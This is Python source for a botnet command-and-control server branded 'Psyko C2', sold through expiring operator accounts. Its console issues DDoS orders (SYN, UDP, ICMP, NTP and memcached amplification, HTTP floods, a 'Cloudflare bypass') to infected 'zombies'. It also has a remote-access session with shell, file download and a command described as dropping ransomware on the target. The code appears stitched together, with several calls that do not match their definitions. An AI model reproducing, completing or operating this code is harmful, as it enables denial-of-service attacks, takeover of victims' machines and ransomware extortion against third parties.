from datetime import datetime from threading import Thread from time import sleep, time import ctypes, socket, sys from colorama import Fore, init from pystyle import * import platform, signal from pystyle import Write, System, Colors, Colorate, Anime from random import choice from typing import Union, Tuple, List import ipaddress from tempfile import NamedTemporaryFile import os, inspect, hashlib import requests VERSION_PSYKO_BOTNET = "V1.5" # Max zombies connected mf BACKLOG = 1000 MAX_CHUNK_SIZE = 16 * 1024 VERSION = "[+] PSYKO BOTNET" PAYLOAD_SUFFIX = b'\x00\x00\xff\xff' class Account: def __init__(self, username, password, data_Expiration): self.username = username self.password = password self.data_Expiration = data_Expiration def userC_expirada(self): hoje = datetime.now() return hoje > self.data_Expiration def send(socket, data, escape=True, reset=True): if reset: data += Fore.RESET if escape: data += '\r\n' socket.send(data.encode()) def find_login(client, username, password): credentials = [x.strip() for x in open('logins.txt').readlines() if x.strip()] for x in credentials: global data_Expiration_str c_username, c_password, data_Expiration_str = x.split(':') data_Expiration = datetime.strptime(data_Expiration_str, '%Y-%m-%d') userC = Account(username=c_username, password=c_password, data_Expiration=data_Expiration) if userC.username.lower() == username.lower() and userC.password == password: if userC.userC_expirada(): print(f"\nThe {userC.username} expired. {data_Expiration_str}\n") send(client, f'{gray} Your account has been expired!') time.sleep(3.5) client.close() return return True def text2Gen(word): start_color = (0, 0, 200) end_color = (255, 0, 0) num_letters = len(word) step_r = (end_color[0] - start_color[0]) / num_letters step_g = (end_color[1] - start_color[1]) / num_letters step_b = (end_color[2] - start_color[2]) / num_letters reset_color = "\033[0m" current_color = start_color colored_word = "" for i, letter in enumerate(word): color_code = f"\033[38;2;{int(current_color[0])};{int(current_color[1])};{int(current_color[2])}m" colored_word += f"{color_code}{letter}{reset_color}" current_color = (current_color[0] + step_r, current_color[1] + step_g, current_color[2] + step_b) return colored_word bannerLogin = ''' @oghackeur [ @NetForceZ X @PsykoC2 ] ( Thank you for using Psyko C2 ) ''' banner2 = ''' ██ ▄█▀ ██▀███ ▓██ ██▓ ██▓███ ▄▄▄█████▓ ▒█████ ███▄ █ ██▄█▒ ▓██ ▒ ██▒▒██ ██▒▓██░ ██▒▓ ██▒ ▓▒▒██▒ ██▒ ██ ▀█ █ ▓███▄░ ▓██ ░▄█ ▒ ▒██ ██░▓██░ ██▓▒▒ ▓██░ ▒░▒██░ ██▒▓██ ▀█ ██▒ ▓██ █▄ ▒██▀▀█▄ ░ ▐██▓░▒██▄█▓▒ ▒░ ▓██▓ ░ ▒██ ██░▓██▒ ▐▌██▒ ▒██▒ █▄░██▓ ▒██▒ ░ ██▒▓░▒██▒ ░ ░ ▒██▒ ░ ░ ████▓▒░▒██░ ▓██░ ▒ ▒▒ ▓▒░ ▒▓ ░▒▓░ ██▒▒▒ ▒▓▒░ ░ ░ ▒ ░░ ░ ▒░▒░▒░ ░ ▒░ ▒ ▒ ░ ░▒ ▒░ ░▒ ░ ▒░▓██ ░▒░ ░▒ ░ ░ ░ ▒ ▒░ ░ ░░ ░ ▒░ ░ ░░ ░ ░░ ░ ▒ ▒ ░░ ░░ ░ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ( Type "help" for Commands ) ( Discord: cirqueira ) ''' banner1 = ''' ▄ •▄ ▄▄▄ ▄· ▄▌ ▄▄▄·▄▄▄▄▄ ▐ ▄ █▌▄▌▪▀▄ █·▐█▪██▌▐█ ▄█•██ ▪ •█▌▐█ ▐▀▀▄·▐▀▀▄ ▐█▌▐█▪ ██▀· ▐█.▪ ▄█▀▄ ▐█▐▐▌ ▐█.█▌▐█•█▌ ▐█▀·.▐█▪·• ▐█▌·▐█▌.▐▌██▐█▌ ·▀ ▀.▀ ▀ ▀ • .▀ ▀▀▀ ▀█▄▀▪▀▀ █▪ ( Type "help" for Commands ) ( Discord: cirqueira ) ''' def color(data_input_output): color_codes = { "GREEN": '\033[32m', "LIGHTGREEN_EX": '\033[92m', "YELLOW": '\033[33m', "LIGHTYELLOW_EX": '\033[93m', "CYAN": '\033[36m', "LIGHTCYAN_EX": '\033[96m', "BLUE": '\033[34m', "LIGHTBLUE_EX": '\033[94m', "MAGENTA": '\033[35m', "LIGHTMAGENTA_EX": '\033[95m', "RED": '\033[31m', "LIGHTRED_EX": '\033[91m', "BLSYN": '\033[30m', "LIGHTBLSYN_EX": '\033[90m', "WHITE": '\033[37m', "LIGHTWHITE_EX": '\033[97m', } return color_codes.get(data_input_output, "") bannerLogin = text2Gen(bannerLogin) lightwhite = color("LIGHTWHITE_EX") gray = color("LIGHTBLSYN_EX") ansi_clear = '\033[2J\033[H' bots = {} user_name = "" help = f""" {gray}List of commands: {lightwhite}HELP {gray}Shows list of commands {lightwhite}BOTNET {gray}Shows list of botnet methods {lightwhite}METHODS {gray}Shows Methods List {lightwhite}BOTS {gray}Shows available zombies {lightwhite}TOOLS {gray}Shows list of tools {lightwhite}CLEAR {gray}Clears the screen {lightwhite}EXIT {gray}Disconnects from the net """ showMethods = f""" {gray}List of Methods: {lightwhite}L3 {gray}Show all L3 Methods {lightwhite}L4 {gray}Show all L4 Methods {lightwhite}AMP {gray}Show all Amplification Methods {lightwhite}HTTP {gray}Show all L7 Methods {lightwhite}BOTNET {gray}Show all Methods """ Methods_L3 = f""" {gray}L3 Methods: {lightwhite}.ICMP {gray}Flood ICMP Request {lightwhite}.POD {gray}Ping Of Death OLD Method Of DDoS """ Methods_AMP = f""" {gray}Amplification Methods: {lightwhite}.NTP {gray}NTP Reflection flood {lightwhite}.MEM {gray}Memcached Flood """ Methods_L4 = f""" {gray}L4 Methods: {lightwhite}.UDP {gray}UDP Flood {lightwhite}.TCP {gray}TCP Flood {lightwhite}.TUP {gray}TCP and UDP Flood {lightwhite}.SYN {gray}TCP SYN flood {lightwhite}.HEX {gray}HEX Flood {lightwhite}.JUNK {gray}Junk flood """ Methods_L7 = f""" {gray}L7 Methods: {lightwhite}.HTTPCFB {gray}HTTP Cloudflare bypass {lightwhite}.HTTPGET {gray}HTTP GET requests {lightwhite}.HTTPSPOOF {gray}HTTP GET Spoofing {lightwhite}.HTTPSTORM {gray}HTTP STORM Requests """ tools = f""" {gray}List of Tools: {lightwhite}!GETIP {gray}Get ip from URL {lightwhite}!GEOIP {gray}Get info from ip """ admin_commands = f""" {gray}Admin Commands: {lightwhite}!USER {gray}Add/List/remove users """ botnetMethods = f"""{Methods_L3}{Methods_L4}{Methods_AMP}{Methods_L7}""" def get_location(ip_addr): ip_address = ip_addr response = requests.get(f'https://ipapi.co/{ip_address}/json/').json() version = response['version'] city = response['city'] region_city = response['region'] country_name = response['country_name'] latitude = response['latitude'] longitude = response['longitude'] timezone = response['timezone'] network = response['network'] location_data = f''' IPv4 : {ip_address} NETWORK : {network} VERSION : {version} # LOCATION CITY : {city} REGION : {region_city} COUNTRY : {country_name} LATITUDE : {latitude} LONGITUDE : {longitude} # TIME TIMEZONE : {timezone} ''' return location_data def savelogs(address, username): with open('userip.txt', 'a+') as logfile: logfile.write(f'\n{username}:{address}') print(f"Logged {username}") def ip_to_loc(args, send, client, gray): try: ip = '' if len(args) == 2: ip = str(args[1]) ip_location = get_location(ip) for x in ip_location.split('\n'): send(client, f'{gray}' + x) else: send(client, Fore.LIGHTWHITE_EX + '\n!GEOIP [IP]\n') except: send(client, Fore.RED + '\nInvalid data\n') def url_to_ip(args, send, client, gray): try: url = "" if len(args) == 2: url = args[1] host = str(url).replace("https://", "").replace("http://", "").replace("www.", "") ip = socket.gethostbyname(host) time.sleep(0.2) DATA_TEXT = f'\nURL {url} | IP {ip}\n' send(client, f'{gray} {DATA_TEXT}') else: send(client, Fore.LIGHTWHITE_EX + '\n!GETIP [URL]\n') except socket.gaierror: send(client, Fore.RED + '\nInvalid website\n') def user(args, send, client): try: choice = (args[1]).upper() if choice == 'ADD' or choice == 'A': if len(args) == 5: user = args[2] password = args[3] dataExpiration = args[4] with open('logins.txt', 'a') as logins: logins.write(f'\n{user}:{password}:{dataExpiration}') logins.close() send(client, f'{Fore.LIGHTWHITE_EX}\nAdded new user successfully UwU <3\n') else: send(client, '\n!USER ADD [USERNAME] [PASSWORD] [AAAA-MM-DD]\n') if choice == 'REMOVE' or choice == 'R': if len(args) == 3: user = args[2] with open("logins.txt", "r") as logins: lines = logins.readlines() logins.close() with open("logins.txt", "w") as logins: for line in lines: if user not in line: logins.write(line) logins.close() send(client, f'{Fore.LIGHTWHITE_EX}\nRemoved user successfully UwU <3\n') else: send(client, '\n!USER REMOVE [USERNAME]\n') if choice == 'LIST' or choice == 'L': credentials = [x.strip() for x in open('logins.txt').readlines() if x.strip()] for x in credentials: c_username, c_password, data_Expiration = x.split(':') send(client, f"{lightwhite}Username: {gray}{c_username}{lightwhite} | Password: {gray}{c_password}{lightwhite} | Expires: {gray}{data_Expiration}") except: send(client, '\n!USER ADD/LIST/REMOVE\n') def validate_ip(ip): parts = ip.split('.') return len(parts) == 4 and all(x.isdigit() for x in parts) and all(0 <= int(x) <= 255 for x in parts) and not ipaddress.ip_address(ip).is_private # Validate Port def validate_port(port, rand=False): if rand: return port.isdigit() and int(port) >= 0 and int(port) <= 65535 else: return port.isdigit() and int(port) >= 1 and int(port) <= 65535 # Validate attSYN time def validate_time(time): return time.isdigit() and int(time) >= 10 and int(time) <= 1300 # Validate buffer size def validate_size(size): return size.isdigit() and int(size) > 1 and int(size) <= 65500 class Colours: def __init__(self): self.colours_fn = {} self.colours = [] if platform.system() == 'Windows': kernel32 = ctypes.windll.kernel32 kernel32.SetConsoleMode(kernel32.GetStdHandle(-11), 7) COMMANDS = { # Lables 'info': (33, '[!] '), 'que': (34, '[?] '), 'bad': (31, '[-] '), 'good': (32, '[+] '), 'run': (97, '[~] '), # Colors 'green': 32, 'lgreen': 92, 'lightgreen': 92, 'grey': 37, 'red': 31, 'lred': 91, 'lightred': 91, 'cyan': 36, 'lcyan': 96, 'lightcyan': 96, 'blue': 34, 'lblue': 94, 'lightblue': 94, 'purple': 35, 'yellow': 93, 'white': 97, 'lpurple': 95, 'lightpurple': 95, 'orange': 33, # Styles 'bg': ';7', 'bold': ';1', 'italic': '3', 'under': '4', 'strike': '09', } for key, val in COMMANDS.items(): value = val[0] if isinstance(val, tuple) else val prefix = val[1] if isinstance(val, tuple) else '' if isinstance(val, int): self.colours.append(key) self.colours_fn[key] = lambda s, prefix=prefix, key=value: self._gen(s, prefix, key) def _gen(self,string, prefix, key): colored = prefix if prefix else string not_colored = string if prefix else '' result = '\033[{}m{}\033[0m{}'.format(key, colored, not_colored) return result def cprint(self, string:str): print(choice(list(self.colours_fn.values()))(string)) class Status: OK = "OK" FAIL = "FAIL" class ContentType: file = "FILE" bytes = "BYTES" text = "TEXT" class Request: def __init__(self, cmd:str, direct:bool=False, body:dict=dict(), header:dict=dict()): self.header = {"version": VERSION, "method": "CONNECT" if direct else "DIRECT", **header} self.body = {"ack": True, "cmd": cmd, **body} def __str__(self) -> str: return f"Request(header={self.header}, body={self.body})" def __repr__(self) -> str: return str(self) def set_header(self, key:str, value:str): self.header[key] = value def set_body(self, key:str, value:str): self.body[key] = value def get_payload(self, encoding:str="utf-8") -> bytes: return ( "\r\n".join(f"{key}: {value}" for key, value in self.header.items()) + "\r\n\r\n" + "\r\n".join(f"{key}: {value}" for key, value in self.body.items()) ).encode(encoding) class NetworkFile: def __init__(self, mode:str="w+b"): self._fp = NamedTemporaryFile(mode=mode, delete=False) def write(self, chunk:Union[bytes, str]): self._fp.write(chunk) def read(self, chunk_size:int=MAX_CHUNK_SIZE): return self._fp.read(chunk_size) def seek(self, pos:int=0): self._fp.seek(pos) def close(self): self._fp.close() os.unlink(self._fp.name) def __str__(self): return f"NetworkFile" def __del__(self): self.close() class Response: def __init__(self, payload:bytes) -> None: self.raw_header, self.raw_body = payload.split(b"\r\n\r\n") self.header = {} self.body = {} for row in self.raw_header.decode().split("\r\n"): row_split_list = list(map(lambda x: x.strip(), row.split(":"))) self.header[row_split_list[0]] = ":".join(row_split_list[1:]) or None self._rdata = "" self.ct = self.header.get("ct") # Content-Type if self.ct == ContentType.file: self.file = NetworkFile() self.process_body() @property def rdata(self): return self._rdata @property def err(self): return self.header.get("error") @property def output(self): return self.body.get("output") # Return output from command @property def raw(self): return self.raw_body def add_body(self, chunk:bytes): if self.ct == ContentType.file: self.raw_body = chunk else: self.raw_body += chunk self.process_body() def process_body(self): if self.ct == ContentType.file: self.file.write(self.raw_body) if self.ct == ContentType.text: for row in self.raw_body.decode().split("\r\n"): row_split_list = list(map(lambda x: x.strip(), row.split(":"))) self.body[row_split_list[0]] = ":".join(row_split_list[1:]) or None def __str__(self): return f"Request" def __repr__(self) -> str: return str(self) class Session: def __init__(self, parent, conn:socket.socket): self.parent = parent self.conn = conn self.addr = conn.getpeername() self._buffer = b"" global host host, port = self.addr self.input_title = f"rat@{host}:~$ " self.c = Colorate.Horizontal(Colors.DynamicMIX((Col.green, Col.light_green, Col.yellow)), (self.input_title)) self.cmds = cmds = {} for attr, func in inspect.getmembers(self): if attr.startswith("cmd_"): cmds[attr[4:].upper()] = func self.take_input() def take_input(self): System.Clear() self.print_rat() while True: data = input(self.c).strip() if not data: continue if data == "exit": System.Clear() break # SHELL SESSION elif data == "cls" or data == "clear": System.Clear() self.print_rat() self.take_input() elif data == "shell": System.Clear() self.print_shell() while True: text_input = f"shell@{host}:~$" b = Colorate.Horizontal(Colors.DynamicMIX((Col.green, Col.light_green, Col.yellow)), (text_input)) data2 = input(f"{b} ").strip() if not data2: continue if data2 == "exit": System.Clear() break elif data2 == "cls" or data2 == "clear": System.Clear() self.print_shell() data2 = data2.split(" ") self.cmd_shell(*data2) self.take_input() data = data.split(" ") cmd = data[0].upper() params = data[1:] if cmd:=self.cmds.get(cmd): try: cmd(*params) except Exception as e: print(e) continue print("wrong command") def cmd_shell(self, *params): self.send(Request(cmd="SHELL", body={"params": ' '.join(params)}, direct=True)) resp = self.recv() a = resp.raw.decode() b = Colorate.Horizontal(Colors.red_to_blue, (a)) print(f"\n{b}\n") def cmd_download(self, file:str): self.send(Request(cmd="DOWNLOAD", body={"params": file}, direct=True)) resp = self.recv() if resp.header.get("status") == Status.OK: size = 0 resp.file.seek() with open("1" + file, "wb") as fp: while chunk:=resp.file.read(MAX_CHUNK_SIZE): size += len(chunk) fp.write(chunk) print(f"Downloaded file {file}, {size}") elif resp.header.get("status") == Status.FAIL: print(resp.err) def cmd_ranso(self): self.send(Request(cmd="RANSO")) resp = self.recv() b = Colorate.Horizontal(Colors.red_to_blue, (resp)) print(f"\n{b}\n") def cmd_help(self): content = f''' [+] ranso ~ download a ransomware on the target ''' b = Colorate.Horizontal(Colors.red_to_blue, (content)) print(f"\n{b}\n") def print_shell(self): content = f''' ╔═══╦╗ ╔╦═══╦╗ ╔╗ {host} ║╔═╗║║ ║║╔══╣║ ║║ help ║╚══╣╚═╝║╚══╣║ ║║ To see the commands ╚══╗║╔═╗║╔══╣║ ╔╣║ ╔╗ ║╚═╝║║ ║║╚══╣╚═╝║╚═╝║ ╚═══╩╝ ╚╩═══╩═══╩═══╝ ''' d = Colorate.Horizontal(Colors.red_to_blue, Center.XCenter(content)) print(d) def print_rat(self): content = f''' ╔═══╦═══╦════╗ {host} ║╔═╗║╔═╗║╔╗╔╗║ help ║╚═╝║║ ║╠╝║║╚╝ To see the commands ║╔╗╔╣╚═╝║ ║║ ║║║╚╣╔═╗║ ║║ ╚╝╚═╩╝ ╚╝ ╚╝ ''' d = Colorate.Horizontal(Colors.red_to_blue, Center.XCenter(content)) print(d) # utils def send(self, data:Request): self.conn.send(data.get_payload()) def recv(self) -> Response: conn = self.conn conn.setblocking(1) data = conn.recv(MAX_CHUNK_SIZE) res = Response(data) while data:=conn.recv(MAX_CHUNK_SIZE): if data.endswith(PAYLOAD_SUFFIX): res.add_body(data[:-len(PAYLOAD_SUFFIX)]) break res.add_body(data) res.conn = conn conn.setblocking(0) return res class Server(Colours): def __init__(self, connect:Tuple[str,int]=("0.0.0.0",8000), auth:str=""): super().__init__() init(convert=True) sock = socket.socket() sock.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.tasks = {} try: sock.bind((connect)) except: print('\x1b[3;31;40m Failed to bind port') exit() sock.listen(BACKLOG) print("cbonwola") Thread(target=self.ping).start() while 1: Thread(target=self.handle_client, args=[*sock.accept()]).start() def ping(self): while 1: dead_bots = [] for bot in bots.copy().keys(): try: bot.settimeout(3) self.send1(bot, Request(cmd="PING")) resp = self.recv(bot) if resp != 'PONG': dead_bots.append(bot) except: dead_bots.append(bot) for bot in dead_bots: bots.pop(bot) bot.close() sleep(5) def handle_client(self, client, address): send(client, "\33]0;Psyko C2 | Login\a") send(client, f'\x1bPsyko C2 | Login: Awaiting Response...\a', False) send(client, ansi_clear, False) send(client, f'{color("LIGHTBLSYN_EX")}Connecting...') while 1: send(client, ansi_clear, False) for x in bannerLogin.split('\n'): send(client, '\x1b[3;31;48m'+ x) send(client, f'\x1b{gray}Username :\x1b[0m ', False, False) username = client.recv(1024).decode().strip() if not username: continue break password = '' while 1: send(client, f'\033{gray}Password :\x1b[0;38;2;0;0;0m ', False, False) while not password.strip(): password = client.recv(1024).decode('cp1252').strip() break if password != '\xff\xff\xff\xff\75': print(f"User connection from {address}") send(client, ansi_clear, False) if not find_login(client, username, password): try: send(client, Fore.RED + f'\x1b{Fore.RED}Invalid credentials') except OSError as e: pass sleep(1) client.close() return savelogs(address, username) global user_name user_name = username Thread(target=self.update_title, args=(client, username, data_Expiration_str)).start() Thread(target=self.command_line, args=(client, username)).start() else: for x in bots.values(): if x[0] == address[0]: client.close() return bots.update({client: address}) def update_title(client, name, expires): while 1: try: send(client, f"\33]0;Psyko C2 | Zombies: {len(bots)} | Username: {name} | Expires: {expires} \a", False) sleep(0.6) except: client.close() def _is_socket_closed(self, sock: socket.socket) -> bool: try: buf = sock.recv(1, socket.MSG_PEEK) if buf == b'': return True except BlockingIOError: return False # it would block except ConnectionResetError: return True # other reason except Exception as e: return False return False def is_socket_closed(self, sock: socket.socket) -> bool: if self._is_socket_closed(sock): self.connections.remove(sock) return True return False def get_connection(self) -> socket.socket: # type: ignore count = 0 closed = [] for conn in [*self.connections]: is_closed = self.is_socket_closed(conn) if is_closed: continue count += 1 yield count, conn def clear(client, command): send(client, ansi_clear, False) if command == 'CLS' or command == 'CLEAR': for x in banner2.split('\n'): send(client, x) else: for x in banner1.split('\n'): send(client, x) def command_line(self, client, username): for x in banner2.split('\n'): send(client, x) prompt = f'{color("LIGHTBLSYN_EX")}({color("WHITE")}Psyko{color("LIGHTBLSYN_EX")}@{color("CYAN")}{username}{color("LIGHTBLSYN_EX")}) ~$ {color("LIGHTBLSYN_EX")}' send(client, prompt, False) while True: try: data = client.recv(1024).decode().strip() if not data: continue args = data.split(' ') command = args[0].upper() print(user_name, args) self.clear(client, command) if command == 'HELP': for x in help.split('\n'): send(client, '\x1b[3;31;40m'+ x) elif command == 'BOTNET': for x in botnetMethods.split('\n'): send(client, '\x1b[3;31;40m'+ x) elif command == 'L3': for x in Methods_L3.split('\n'): send(client, '\x1b[3;31;40m'+ x) elif command == 'L4': for x in Methods_L4.split('\n'): send(client, '\x1b[3;31;40m'+ x) elif command == 'L7' or command == 'HTTP': for x in Methods_L7.split('\n'): send(client, '\x1b[3;31;40m'+ x) elif command == 'AMP' or command == 'AMPLIFICATION': for x in Methods_AMP.split('\n'): send(client, '\x1b[3;31;40m'+ x) elif command == 'METHODS': for x in showMethods.split('\n'): send(client, '\x1b[3;31;40m'+ x) elif command == 'TOOLS': for x in tools.split('\n'): send(client, '\x1b[3;31;40m'+ x) elif command == 'CLEAR' or command == 'CLS': send(client, ansi_clear, False) for x in banner2.split('\n'): send(client, '\x1b[3;31;48m'+ x) elif command == 'LOGOUT' or command == 'EXIT': send(client, '\x1b[3;31;48m\n Successfully Logged out\n') sleep(1) break elif command == 'BOTS': send(client, f'{color("LIGHTBLSYN_EX")}\nAvailable bots: {len(bots)}.\n') elif command == '!ADMIN': if user_name == "root": for x in admin_commands.split('\n'): send(client, x) elif command == '!USER' or command == '!U': if user_name == "root": user(args, send, client) elif command == "!GEOIP" or command == "!IP_TO_LOCATION" or command == "!IP_GEO" or command == "!IP_GEOLOCATION" or command == "!IP_GEOLOCAT": ip_to_loc(args, send, client, gray) # Gets location from IP elif command == "!GETIP": url_to_ip(args, send, client, gray) elif command == '.UDP': self.cmd_udp(args, client, ansi_clear) elif command == '.TUP': self.cmd_tup(args, client, ansi_clear) elif command == '.SYN': self.cmd_syn(args, client, ansi_clear) elif command == '.TCP': self.cmd_tcp(args, client, ansi_clear) elif command == '.HEX': self.cmd_hex(args, client, ansi_clear) elif command == '.NTP': self.cmd_ntp(args, client, ansi_clear) elif command == '.ICMP': self.cmd_icmp(args, client, ansi_clear) elif command == '.POD': self.cmd_pod(args, client, ansi_clear) elif command == '.JUNK': self.cmd_junk(args, client, ansi_clear) elif command == '.HTTPSTORM': self.cmd_storm(args, client, ansi_clear) elif command == '.HTTPSPOOF': self.cmd_httpspoof(args, client, ansi_clear) elif command == '.HTTPGET': self.cmd_httpget(args, client, ansi_clear) elif command == '.HTTPCFB': self.cmd_cfb(args, client, ansi_clear) send(client, prompt, False) except: break client.close() # ------------------- P I N G T H E Z O M B I E S -------------------------- def cmd_ping(self): self.send(Request(cmd="PING")) self.display_output2() #METHODS # Need to put an interface after the attack has been sent #------------------------------------------------------------------------------------------------------ def cmd_storm(self, args, send, client): method = "STORM" if len(args) != 4: send(client, f"{Fore.LIGHTBLACK_EX}STORM [url] [port] [time] [threads]\n" ) return host, port, timeout, threads = args if validate_time(timeout): hash = self.get_hash("STORM", args) self.send(Request(cmd="STORM", body=dict(params=' '.join(args)))) self.tasks[hash] = { "cmd": "STORM", "params": args, "time": time(), } self.display_output_attack4(method, host, port, timeout, threads) else: send(client, Fore.RED + '\nInvalid attack duration (1-1200 seconds)\n') def cmd_hell(self, args, send, client): method = "HELL" if len(args) != 4: send(client, f"{Fore.LIGHTBLACK_EX}HELL [url] [port] [time] [threads]\n" ) return host, port, timeout, threads = args if validate_time(timeout): hash = self.get_hash("HELL", args) self.send(Request(cmd="HELL", body=dict(params=' '.join(args)))) self.tasks[hash] = { "cmd": "HELL", "params": args, "time": time(), } self.display_output_attack4(method, host, port, timeout, threads) else: send(client, Fore.RED + '\nInvalid attack duration (1-1200 seconds)\n') def cmd_cfb(self, args, send, client): method = "CFB" if len(args) != 4: send(client, f"{Fore.LIGHTBLACK_EX}CFB [url] [port] [time] [threads]\n" ) return host, port, timeout, threads = args if validate_time(timeout): hash = self.get_hash("CFB", args) self.send(Request(cmd="CFB", body=dict(params=' '.join(args)))) self.tasks[hash] = { "cmd": "CFB", "params": args, "time": time(), } self.display_output_attack4(method, host, port, timeout, threads) else: send(client, Fore.RED + '\nInvalid attack duration (1-1200 seconds)\n') def cmd_httpget(self, args, send, client): method = "HTTPGET" if len(args) != 4: send(client, f"{Fore.LIGHTBLACK_EX}HTTPGET [url] [port] [time] [threads]\n" ) return host, port, timeout, threads = args if validate_time(timeout): hash = self.get_hash("GET", args) self.send(Request(cmd="GET", body=dict(params=' '.join(args)))) self.tasks[hash] = { "cmd": "GET", "params": args, "time": time(), } self.display_output_attack4(method, host, port, timeout, threads) else: send(client, Fore.RED + '\nInvalid attack duration (1-1200 seconds)\n') def cmd_httpspoof(self, args, send, client): if len(args) != 3: send(client, f"{Fore.LIGHTBLACK_EX}HTTPSPOOF [url] [time] [threads]\n" ) return host, timeout, threads = args if validate_time(timeout): hash = self.get_hash("SPOOF", args) self.send(Request(cmd="SPOOF", body=dict(params=' '.join(args)))) self.tasks[hash] = { "cmd": "SPOOF", "params": args, "time": time(), } self.display_output() else: send(client, Fore.RED + '\nInvalid attack duration (1-1200 seconds)\n') def cmd_udp(self, args, send, client): if len(args) != 5: send(client, f"{Fore.LIGHTBLACK_EX}UDP [ip] [port] [time] [size] [threads]\n" ) return ip, port, timeout, size, threads = args if validate_ip(ip): if validate_port(port, True): if validate_time(timeout): if validate_size(size): hash = self.get_hash("UDP", args) self.send(Request(cmd="UDP", body=dict(params=' '.join(args)))) self.tasks[hash] = { "cmd": "UDP", "params": args, "time": time(), } self.display_output() else: send(client, Fore.RED + '\nInvalid packet size (1-65500 bytes)\n') else: send(client, Fore.RED + '\nInvalid attack duration (10-1300 seconds)\n') else: send(client, Fore.RED + '\nInvalid port number (1-65535) [ 0 for random port ]\n') else: send(client, Fore.RED + '\nInvalid IP-address\n') def cmd_tcp(self, args, send, client): if len(args) != 5: send(client, f"{Fore.LIGHTBLACK_EX}TCP [ip] [port] [time] [size] [threads]\n" ) return ip, port, timeout, size, threads = args if validate_ip(ip): if validate_port(port): if validate_time(timeout): if validate_size(size): hash = self.get_hash("TCP", args) self.send(Request(cmd="TCP", body=dict(params=' '.join(args)))) self.tasks[hash] = { "cmd": "TCP", "params": args, "time": time(), } self.display_output() else: send(client, Fore.RED + '\nInvalid packet size (1-65500 bytes)\n') else: send(client, Fore.RED + '\nInvalid attack duration (10-1300 seconds)\n') else: send(client, Fore.RED + '\nInvalid port number (1-65535) [ 0 for random port ]\n') else: send(client, Fore.RED + '\nInvalid IP-address\n') def cmd_junk(self, args, send, client): if len(args) != 5: send(client, f"{Fore.LIGHTBLACK_EX}JUNK [ip] [port] [time] [size] [threads]\n" ) return ip, port, timeout, size, threads = args if validate_ip(ip): if validate_port(port): if validate_time(timeout): if validate_size(size): hash = self.get_hash("JUNK", args) self.send(Request(cmd="JUNK", body=dict(params=' '.join(args)))) self.tasks[hash] = { "cmd": "JUNK", "params": args, "time": time(), } self.display_output() else: send(client, Fore.RED + '\nInvalid packet size (1-65500 bytes)\n') else: send(client, Fore.RED + '\nInvalid attack duration (10-1300 seconds)\n') else: send(client, Fore.RED + '\nInvalid port number (1-65535) [ 0 for random port ]\n') else: send(client, Fore.RED + '\nInvalid IP-address\n') def cmd_syn(self, args, send, client): if len(args) != 4: send(client, f"{Fore.LIGHTBLACK_EX}SYN [ip] [port] [time] [threads]\n" ) return ip, port, timeout, threads = args if validate_ip(ip): if validate_port(port, True): if validate_time(timeout): hash = self.get_hash("SYN", args) self.send(Request(cmd="SYN", body=dict(params=' '.join(args)))) self.tasks[hash] = { "cmd": "SYN", "params": args, "time": time(), } self.display_output() else: send(client, Fore.RED + '\nInvalid attack duration (10-1300 seconds)\n') else: send(client, Fore.RED + '\nInvalid port number (1-65535)\n') else: send(client, Fore.RED + '\nInvalid IP-address\n') def cmd_hex(self, args, send, client): if len(args) != 4: send(client, f"{Fore.LIGHTBLACK_EX}HEX [ip] [port] [time] [threads]\n" ) return ip, port, timeout, threads = args if validate_ip(ip): if validate_port(port): if validate_time(timeout): hash = self.get_hash("HEX", args) self.send(Request(cmd="HEX", body=dict(params=' '.join(args)))) self.tasks[hash] = { "cmd": "HEX", "params": args, "time": time(), } self.display_output() else: send(client, Fore.RED + '\nInvalid attack duration (10-1300 seconds)\n') else: send(client, Fore.RED + '\nInvalid port number (1-65535)\n') else: send(client, Fore.RED + '\nInvalid IP-address\n') def cmd_tup(self, args, send, client): if len(args) != 5: send(client, f"{Fore.LIGHTBLACK_EX}TUP [ip] [port] [time] [size] [threads]\n" ) return ip, port, timeout, size, threads = args if validate_ip(ip): if validate_port(port, True): if validate_time(timeout): if validate_size(size): hash = self.get_hash("TUP", args) self.send(Request(cmd="TUP", body=dict(params=' '.join(args)))) self.tasks[hash] = { "cmd": "TUP", "params": args, "time": time(), } self.display_output() else: send(client, Fore.RED + '\nInvalid packet size (1-65500 bytes)\n') else: send(client, Fore.RED + '\nInvalid attack duration (10-1200 seconds)\n') else: send(client, Fore.RED + '\nInvalid port number (1-65535) [ 0 for random port ] \n') else: send(client, Fore.RED + '\nInvalid IP-address\n') def cmd_ntp(self, args, send, client): if len(args) != 4: send(client, f"{Fore.LIGHTBLACK_EX}NTP [ip] [port] [time] [threads]\n" ) return ip, port, timeout, threads = args if validate_ip(ip): if validate_port(port): if validate_time(timeout): hash = self.get_hash("NTP", args) self.send(Request(cmd="NTP", body=dict(params=' '.join(args)))) self.tasks[hash] = { "cmd": "NTP", "params": args, "time": time(), } self.display_output() else: send(client, Fore.RED + '\nInvalid attack duration (10-1300 seconds)\n') else: send(client, Fore.RED + '\nInvalid port number (1-65535)\n') else: send(client, Fore.RED + '\nInvalid IP-address\n') def cmd_pod(self, args, send, client): if len(args) != 3: send(client, f"{Fore.LIGHTBLACK_EX}POD [ip] [time] [threads]\n" ) return ip, timeout, threads = args if validate_ip(ip): if validate_time(timeout): hash = self.get_hash("POD", args) self.send(Request(cmd="POD", body=dict(params=' '.join(args)))) self.tasks[hash] = { "cmd": "POD", "params": args, "time": time(), } self.display_output() else: send(client, Fore.RED + '\nInvalid attack duration (10-1300 seconds)\n') else: send(client, Fore.RED + '\nInvalid IP-address\n') def cmd_icmp(self, args, send, client): if len(args) != 3: send(client, f"{Fore.LIGHTBLACK_EX}ICMP [ip] [time] [threads]\n" ) return ip, timeout, threads = args if validate_ip(ip): if validate_time(timeout): hash = self.get_hash("ICMP", args) self.send(Request(cmd="ICMP", body=dict(params=' '.join(args)))) self.tasks[hash] = { "cmd": "ICMP", "params": args, "time": time(), } self.display_output() else: send(client, Fore.RED + '\nInvalid attack duration (10-1300 seconds)\n') else: send(client, Fore.RED + '\nInvalid IP-address\n') ################################################################################################################### ################################################################################################################### ################################################################################################################### ################################################################################################################### ################################################################################################################### ################################################################################################################### # --------------------- P R I N T O N L I N E Z O M B I E S -------------------- def cmd_list(self): if len(self.connections) == 0: print("No clients connected") return print("|----Clients----|") for i, conn in self.get_connection(): ip, port = conn.getpeername() 